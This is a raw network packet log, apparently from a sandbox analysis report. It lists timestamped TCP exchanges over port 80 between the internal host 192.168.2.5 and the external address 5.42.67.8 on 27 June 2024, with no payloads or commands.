Jun 27, 2024 06:44:21.554557085 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.554583073 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.554594994 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.554615974 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.554630041 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.554641008 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.554645061 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.554661036 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.554667950 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.554667950 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.554675102 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.554691076 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.554703951 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.554703951 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.554708958 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.554723978 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.554730892 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.554745913 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.554759026 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.554759026 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.554761887 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.554778099 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.554802895 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.554805994 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.554805994 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.554816008 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.554836988 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.554846048 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.554846048 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.554851055 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.554863930 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.554888964 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.554893017 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.554893017 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.554903030 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.554964066 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.554992914 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.555007935 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.555021048 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.555032969 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.555071115 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.555071115 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.555080891 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.555094004 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.555107117 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.555124998 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.555140018 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.555140018 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.555144072 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.555155039 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.555157900 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.555191994 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.555206060 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.555243969 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.555243969 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.555293083 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.555306911 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.555320978 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.555334091 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.555334091 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.555347919 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.555361986 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.555366039 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.555406094 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.555406094 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.555439949 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.555452108 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.555464983 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.555479050 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.555493116 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.555506945 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.555512905 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.555512905 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.555546999 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.555619001 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.555633068 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.555645943 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.555660009 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.555675030 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.555685997 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.555685997 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.555731058 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.555737972 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.555752039 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.555764914 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.555782080 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.555784941 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.555819988 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.555819988 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.555840015 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.555854082 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.555866957 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.555880070 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.555883884 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.555893898 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.555903912 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.556008101 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.556020975 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.556036949 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.556051016 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.556065083 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.556078911 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.556086063 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.556086063 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.556093931 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.556103945 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.556154966 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.556217909 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.556241035 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.556256056 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.556268930 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.556282043 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.556294918 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.556297064 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.556310892 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.556327105 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.556330919 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.556330919 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.556356907 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.556381941 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.556494951 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.556509972 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.556524038 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.556538105 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.556550980 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.556562901 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.556562901 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.556564093 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.556577921 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.556581974 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.556592941 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.556607962 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.556622982 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.556642056 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.556642056 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.556642056 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.556659937 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.556673050 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.556674004 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.556687117 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.556709051 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.556709051 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.556737900 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.556766987 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.556782007 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.556797028 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.556809902 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.556823015 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.556823015 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.556823969 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.556838036 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.556849957 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.556858063 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.556858063 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.556873083 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.556878090 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.556889057 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.556922913 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.556922913 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.557128906 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.557142973 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.557157040 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.557173967 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.557183027 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.557187080 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.557203054 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.557221889 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.557221889 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.557225943 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.557240963 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.557254076 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.557260990 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.557260990 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.557267904 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.557281971 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.557295084 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.557296991 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.557296991 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.557308912 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.557322979 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.557337046 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.557337999 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.557337999 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.557349920 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.557364941 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.557372093 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.557406902 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.557406902 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.557538033 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.557550907 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.557564974 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.557579994 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.557580948 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.557594061 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.557601929 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.557601929 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.557641029 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.641146898 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.641179085 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.641194105 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.641211987 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.641226053 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.641237020 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.641237020 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.641237020 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.641278028 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.641278028 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.641307116 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.641321898 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.641335964 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.641350985 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.641355991 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.641357899 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.641371012 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.641396046 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.641396046 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.641429901 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.641434908 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.641448975 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.641463041 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.641477108 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.641494989 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.641494989 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.641525030 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.641596079 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.641674042 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.641680002 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.641688108 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.641707897 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.641710997 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.641730070 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.641738892 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.641738892 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.641745090 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.641766071 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.641781092 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.641793966 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.641793966 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.641794920 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.641818047 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.641865969 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.641980886 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.641993046 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.642005920 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.642020941 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.642024040 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.642034054 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.642050982 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.642050982 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.642080069 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.642095089 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.642108917 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.642122030 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.642137051 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.642148972 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.642152071 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.642163992 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.642169952 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.642178059 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.642179966 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.642191887 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.642191887 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.642215014 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.642229080 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.642230034 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.642242908 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.642251968 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.642251968 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.642256975 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.642271042 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.642288923 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.642288923 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.642316103 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.642364025 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.642379045 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.642391920 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.642405987 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.642414093 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.642414093 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.642421007 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.642431974 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.642458916 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.642458916 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.642482996 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.642497063 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.642510891 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.642524958 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.642546892 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.642573118 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.642613888 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.642627954 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.642642021 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.642656088 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.642669916 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.642684937 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.642684937 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.642726898 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.642750025 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.642771959 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.642786026 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.642798901 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.642800093 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.642813921 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.642816067 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.642827034 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.642834902 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.642834902 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.642842054 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.642855883 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.642869949 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.642870903 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.642885923 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.642899036 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.642899036 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.642939091 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.643007994 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.643021107 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.643034935 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.643058062 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.643095970 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.643170118 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.643182993 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.643197060 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.643209934 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.643214941 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.643214941 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.643224001 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.643237114 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.643238068 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.643251896 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:21.643258095 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.643258095 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:21.643265963 CEST	80	49719	5.42.67.8	192.168.2.5
